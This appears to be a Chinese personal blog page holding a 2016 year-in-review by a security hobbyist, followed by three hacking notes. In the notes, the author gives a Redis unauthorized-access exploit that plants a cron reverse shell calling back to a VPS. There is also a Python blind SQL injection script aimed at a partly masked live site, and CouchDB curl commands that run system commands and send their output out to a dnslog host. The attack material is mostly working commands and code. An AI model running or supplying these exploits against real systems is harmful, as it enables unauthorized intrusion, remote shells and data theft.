分类 笔记 下的文章

2016


要是有些事我没说,你别以为是忘了,我什么也没忘,但是有些事只适合收藏。不能说,也不能想,却又不能忘。 --史铁生

1.生活相关.

他走了,可以说是对我前十几年影响最大的人。

拾起了以前追的火影忍者,看着看着就觉得有些人有些事跟自己身边挺像的,遗憾的是东京食尸鬼今年并没有出第三季。

几乎把英雄联盟戒了,玩起了守望先锋,然而还是菜鸡。开黑吗,我的76贼6。

和她分手了,一个人的生活习惯了,也不想两个人了。

上海->北京->广西来回跑,累。

最后养了一只猫,它叫断断。

得到了她失去了她,得到了他失去了他,得到了它失去了它。

2.工作相关.

15年我还是个在厨房打杂的员工,16年果断放弃了那种安逸的生活,一个人一个背包来到了北京,在王松家借住了几天,本来想去新浪的,后来新浪的人说他们招的是安全架构。在小川的帮助下投了两家公司,新浪乐居,乌云。新浪乐居因为学历问题没过,倒是去了乌云,真的非常感谢小川,不是他也不会认识那么多优秀的人。

去了乌云Tangscan做个打杂的安全狗,认识了一群很厉害的朋友,对我的安全路影响很大,Redfree、贝贝、大川、saline、booooom等等,真的非常感谢对我的帮助。我怀念的是跟小胜子一起去redfree家蹭饭,我怀念的是跟小胜子和栋栋和LN去网吧开黑。

后面因为一些事我们散了。

现在朋友创业,赛克艾威,在他的公司混吃混喝,其实做了挺多事的,从前端到php再到python,说不累是不可能的,人总要去弄一些自己不会的东西才能成长得更快,希望能一直混吃混喝下去。

3.学习相关.

16年算是学会了点python,再度拾起thinkphp、javascript,并写了一个网站。

也学会了更多挖洞姿势。

16年4月份左右买了台mac,对linux可以说熟悉了点。

我觉得最重要的是学会了怎么跟客户沟通,在Tangscan的时候经常跟客户沟通以及偶尔去客户公司驻场的问题,再到后来的赛克艾威,跟客户沟通简直就是一门艺术。

再就是感谢北斗Team的小伙伴,让我学会怎么跟人沟通,毕竟以前宅,什么也不会。

4.安全相关.

出过两次题目,感觉出题还挺有意思的,就是自己的技术太辣鸡,出不了什么吊炸天的题目。

本兮去世了,我不禁想起我当时学习安全的动力,一个是因为当时的DNF号被盗了,我特么的100万金币被人洗了,从这里认识红盟,再到后面的动力是因为我想知道一些别人不知道的秘密,所以义无反顾的搞起了安全,本兮去世的网上都是没有什么理由,想去调查,却发现自己无能为力,终有一天我有能力去偷窥一些秘密!先给自己立个Flag。

总结:

我觉得过去一年自己变化最大就是变低调多了。

得到很多,失去很多。

2017的目标:

学习Python,学习安全,学习做人。

然后继续像一个咸鱼一样活着。

对自己而言最重要的东西未必就是正义的。就算知道了那是邪恶的人也不能战胜孤独。 --我爱罗

33333333.jpg


Redis未授权访问反弹Shell方法1


思路来自:猪猪侠@乌云(http://www.wooyun.org/bugs/wooyun-2016-0195480)。
本文仅供安全研究,禁止非法使用!!!
先了解命令什么意思再去尝试,别删了别人的数据!

今天碰到一个redis未授权访问,很好奇是什么站就弹shell看看了。
记(zhuang)录(bi)下,老鸟略过吧。错误的地方说下,3Q。

连接redis,需要先安装redis
mac安装redis
brew install redis

常用终端连接redis参数
-p 指定端口
-h host
-a 密码

本地命令行执行下面命令,sss.sss.sss.sss写redis地址,xx.xxx.xx.xx写vps地址,-p指定端口连接,如果默认可以不写-p参数。

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xxx.xx.xx/888 0>&1\n\n"|redis-cli -h sss.sss.sss.sss -p 13000 -x set 1

上面那句命令的意思:echo出bash反弹命令然后写入redis一个新的的字符串。
如下图
1.jpg

然后连接redis,执行如下命令

redis-cli -h xx.xx.xx.xx -p 13000

#修改本地数据库存放目录到计划任务目录
config set dir /var/spool/cron

#指定本地数据库文件名
config set dbfilename root

#同步保存数据到磁盘
save

注意这里写入计划任务,每分钟执行一次。
redis.png

反弹shell成功
fantan.png

crontab -r 清除所有计划任务,不然会一直请求你的vps。谨慎操作,内容太多我只能全部清除计划任务。

exit.jpg


记一次简单Mysql注入(布尔型过滤逗号,附python脚本)


#先感谢下@莲藕炖猪蹄和@redfree。姿势不在多,只要你的姿势正确欢迎来给我普及新知识。绝对虚心求教。

再就是标题党一回,今天碰到一个注入,过滤了逗号,sqlmap并没有跑出来,习惯性装逼手注一下。

过滤逗号的情况下布尔型注入可以用substring这个函数,正常用法substring(@@version,1,1)=5,猜@@version的第一位是5。

但是这里过滤了单引号,前段时间@莲藕炖猪蹄 大牛刚给我普及了一下,substring不用逗号也可以猜解的用法。

substring(database() from 1) 这样是猜解完整的数据库名字。

简单用本地数据库演示下。
1.jpg

一开始length(database())得到9
2.jpg

接下来猜数据库名称 substring(database() from 9) 这样猜解数据库名称最后一个字符
3.jpg

并没有猜出最后一位是什么字符…这特么就很尴尬了....刚开始只知道过滤逗号,当时就想到了应该是还过滤了什么关键词....

怎么判断过滤了什么字符?简单判断:length下当前的注入的语句,如果过滤了注入语句中的某个关键词肯定返回false。
4.jpg

已知DATA SIZE为3453为True。
5.jpg

这里证明没有过滤什么东西...

这个时候@redfree那边说他注入出来了...语法是一样的…我擦....
检查下python代码,redfree说他那边加了headers,如果不加headers就返回False...
这尼玛就很尴尬了...加上headers再跑下...

后面redfree说 注释方式有问题…我擦…以前是个开发狗没用过--注入,我多余的把—后面的%20删了,原来--后面后面是个单引号...也就是说--不是注释了。
查了下mysql手册 注意--注释风格要求你在--以后至少有一个空格!MySQL3.23.3和以上版本支持'--'注释风格,只要注释跟在一个空格之后。

好吧,加上%20果断就跑出来了...其实用%23可以不用加空格...
6.jpg

脚本如下:

#-*- coding:utf-8 -*-

import requests

payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_')

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 9
strings = '' 
for x in range(1,10):
    for y in payload:
        y  = y+strings
        url = "http://***.***.**.**/**/user/buyerChannel/indexNew?buyer_id=25966%%27)+AND+substring(database()+from+%d)=%%27%s%%27%%23&_=1466596215826" % (num,y)
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('****') != -1:#改成你想查找的关键词

                strings = y
                num -= 1
                print url
                break
        except Exception,e:
            pass
print '当前数据库名称为: ',
print strings


Couchdb未授权访问可执行系统命令(利用cloudeye神器回显)


前几天booooom在群里发了个couchdb执行系统命令的word
学习了一下,记录下

新增query_server配置,这里执行curl+回显whoami命令

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"curl couchdb.334cf9.dnslog.info/?whoami=`whoami`"'

新建一个临时表,插入一条记录

curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb'
curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

图片1.png

调用query_server处理数据

curl -X POST 'http://xx.xx.xxx.xx:5984/testdb/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

调用之后,一直在请求,我直接提前结束请求了,因为我要去执行pkill命令k掉curl进程...不然会一直请求...会产生很多日志...
请求.png

因为执行之后curl命令也会在后台一直请求,所以要K掉

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"pkill -9 curl"'

k掉进程.png

最后效果如下

最后效果如下.png

后面跟大表哥@Salime讨论了很久,发现新建表不能写入特殊符号,以及插入数据不可控,所以不可控,导致不能回显,或者说暂时没有找到很好的回显办法,现在只能算是隐式命令执行...如果你有好的办法回显结果,可以评论或者加我qq934817794聊聊...